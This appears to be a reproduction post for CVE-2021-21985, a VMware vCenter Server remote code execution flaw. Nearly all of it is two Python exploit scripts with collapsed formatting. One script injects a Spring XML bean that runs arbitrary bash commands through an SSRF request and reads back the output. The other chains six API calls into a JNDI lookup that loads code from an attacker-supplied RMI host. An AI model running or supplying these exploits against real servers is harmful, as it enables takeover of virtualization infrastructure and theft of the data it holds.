CVE-2021-21985: VMware vCenter Server RCE复现

https://blog.csdn.net/z136370204/article/details/111719373

#!/usr/bin/env python# -*- coding: utf-8 -*-"""@Author: r0cky@Time: 2021/6/3-16:57"""import base64import sysimport zipfilefrom urllib.parse import urlparse
import zlibimport jsonimport requestsimport urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)proxies={'https':'http://127.0.0.1:8080'}
def banner():    print("""==============================================================         _____           _              _____   _____ ______         / ____|         | |            |  __  / ____|  ____| __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__      / / |    / _  '_ | __/ _  '__| |  _  /| |    |  __|     V /| |___|  __/ | | | ||  __/ |    | |  | |____| |____    _/  ________|_| |_|_____|_|    |_|  _\_____|______|
                              Powered by r0cky Team ZionLab==============================================================    """)


def create_xml():
    print("[*] Create Xml to offline_bundle.xml ...")    context = """<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder">        <constructor-arg>          <list>            <value>/bin/bash</value>            <value>-c</value>            <value><![CDATA[ {cmd} 2>&1 ]]></value>          </list>        </constructor-arg>    </bean>    <bean id="is" class="java.io.InputStreamReader">        <constructor-arg>            <value>#{pb.start().getInputStream()}</value>        </constructor-arg>    </bean>    <bean id="br" class="java.io.BufferedReader">        <constructor-arg>            <value>#{is}</value>        </constructor-arg>    </bean>    <bean id="collectors" class="java.util.stream.Collectors"></bean>    <bean id="system" class="java.lang.System">        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;n&quot;))) }"/>    </bean></beans>""".replace("{cmd}", cmd)    with open('offline_bundle.xml', 'w') as wf:        wf.write(context)        wf.flush()
def create_zip():    print("[*] Create Zip to offline_bundle.zip ...")    with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:        zp.write('offline_bundle.xml')
def toBase64():    with open('offline_bundle.zip', 'rb') as rf:        return base64.b64encode(rf.read())
def poc1(url):    ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"    ssrf = ssrf_str.format(bytes.decode(toBase64()))
    print ("[*] Get XML to SystemProperties  ...")    target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"
    data = {"methodInput":[[ssrf]]}
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

def poc2(url):
    print("[*] getProperty   ...")    target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"
    data = {"methodInput": ["output", None]}
    r = requests.post(target, data=json.dumps(data), headers=headers,                      verify=False, proxies=proxies)    if "result" in r.json():        print("[+] Command:", cmd)        print(r.json()['result'])    else:        print ("[-] send payload failed.")
headers = {"Content-Type": "application/json"}
def main(url):    try:        create_xml()        create_zip()        poc1(url)        poc2(url)    except:        print("[-] send payload failed.")
if __name__ == '__main__':    banner()    try:        target = sys.argv[1]        cmd = sys.argv[2]        up = urlparse(target)        target = up.scheme + "://" + up.netloc        main(target)    except:        print("Example: ntpython3 " + sys.argv[0] + " <target> <cmd>n")

#!/usr/bin/env python# -*- coding: utf-8 -*-"""@Author: r0cky@Time: 2021/6/3-16:57"""
import sysfrom urllib.parse import urlparse
import jsonimport requestsimport urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)proxies={'https':'http://127.0.0.1:8080'}

def banner():    print("""==============================================================         _____           _              _____   _____ ______         / ____|         | |            |  __  / ____|  ____| __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__      / / |    / _  '_ | __/ _  '__| |  _  /| |    |  __|     V /| |___|  __/ | | | ||  __/ |    | |  | |____| |____    _/  ________|_| |_|_____|_|    |_|  _\_____|______|
                              Powered by r0cky Team ZionLab==============================================================    """)

def payload1(url):    print ("[*] Step 1 setTargetObject to null ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject"
    data = {"methodInput":[None]}
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
    if "result" in r.json():        payload2(url)    else:        print ("[-] send payload failed1.")

def payload2(url):    print("[*] Step 2 setStaticMethod to payload ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod"
    data = {"methodInput": ["javax.naming.InitialContext.doLookup"]}
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
    if "result" in r.json():        payload3(url)    else:        print ("[-] send payload failed2.")
def payload3(url):    print("[*] Step 3 setTargetMethod to doLookup ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod"
    data = {"methodInput": ["doLookup"]}
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
    if "result" in r.json():        payload4(url)    else:        print ("[-] send payload failed3.")
def payload4(url):    print("[*] Step 4 setArguments with payload args ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments"
    data = {"methodInput": [[rmi_class]]}
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
    if "result" in r.json():        payload5(url)    else:        print ("[-] send payload failed4.")
def payload5(url):    print("[*] Step 5 initial payload class and methods ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare"
    data = {"methodInput": []}
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
    if "result" in r.json():        payload6(url)    else:        print ("[-] send payload failed5.")
def payload6(url):    print("[*] Step 6 trigger method invoke ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke"
    data = {"methodInput": []}
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
    print("[+] send payload success.")    print()    print("[END] VMWare vCenter RCE Done.")
headers = {"Content-Type": "application/json"}
if __name__ == '__main__':    banner()    try:        target = sys.argv[1]        rmi_class = sys.argv[2]        up = urlparse(target)        target = up.scheme + "://" + up.netloc        payload1(target)    except:        print("Example: ntpython3 " + sys.argv[            0] + " <target> <rmi://ip/class>n")